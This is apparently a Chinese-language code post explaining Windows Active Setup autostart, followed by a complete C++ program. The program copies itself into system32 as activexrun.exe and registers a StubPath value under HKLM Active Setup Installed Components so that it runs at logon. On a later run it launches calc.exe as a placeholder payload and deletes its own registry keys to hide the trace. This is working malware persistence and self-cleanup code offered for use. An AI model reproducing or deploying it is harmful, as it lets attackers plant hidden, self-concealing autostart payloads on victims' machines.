ActiveX启动是在HKEY_LOCAL_MACHINE下的Software\ Microsoft\Active Setup\Installed Components\中注册一条类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}的子建,然后子键中新建StubPath的值项,内容为启动的文件名
#include "stdafx.h"
#include "临时存储Win32项目.h"
#include <process.h>
// 删除原先创建的键值
unsigned __stdcall SecondThreadFunc(void* pArguments)
{
//删除键值
RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");
RegDeleteKey(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");
//结束线程
_endthreadex(0);
return 0;
}
// 执行想要执行的程序
void MyCode() {
//运行计算器
WinExec("C:\\windows\\system32\\calc.exe", SW_SHOWDEFAULT);
// 开启线程,删除之前的注册表GUID
HANDLE hThread;
unsigned threadID;
hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID);
// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);
}
//修改或创建字符串类型的键值
void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data)
{
// 创建新的注册表键
HKEY hKey;
long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (ERROR_SUCCESS != lRet)
{
return;
}
//修改或创建注册表键值
lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2);
if (ERROR_SUCCESS != lRet)
{
return;
}
// 释放注册表键句柄
RegCloseKey(hKey);
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
HKEY hKey;
DWORD dwDpt = REG_OPENED_EXISTING_KEY;
// 打开注册表键值
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey);
if (lRet != ERROR_SUCCESS)
{
WCHAR SelfFile[MAX_PATH];
WCHAR SystemPath[MAX_PATH + 20];
//获取系统目录
GetSystemDirectory(SystemPath, sizeof(SystemPath));
//在系统目录与\\activexrun.exe连接
wcscat_s(SystemPath, L"\\activexrun.exe");
//获取当前进程路径
GetModuleFileName(NULL, SelfFile, MAX_PATH);
//ActiveXStart.exe复制到C:\windows\system32目录下
CopyFile(SelfFile, SystemPath, FALSE);
//写注册表
CreateStringReg(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
L"StubPath", SystemPath);
return 0;
}
//如果注册表键值存在就运行下面这个函数
MyCode();
return 0;
}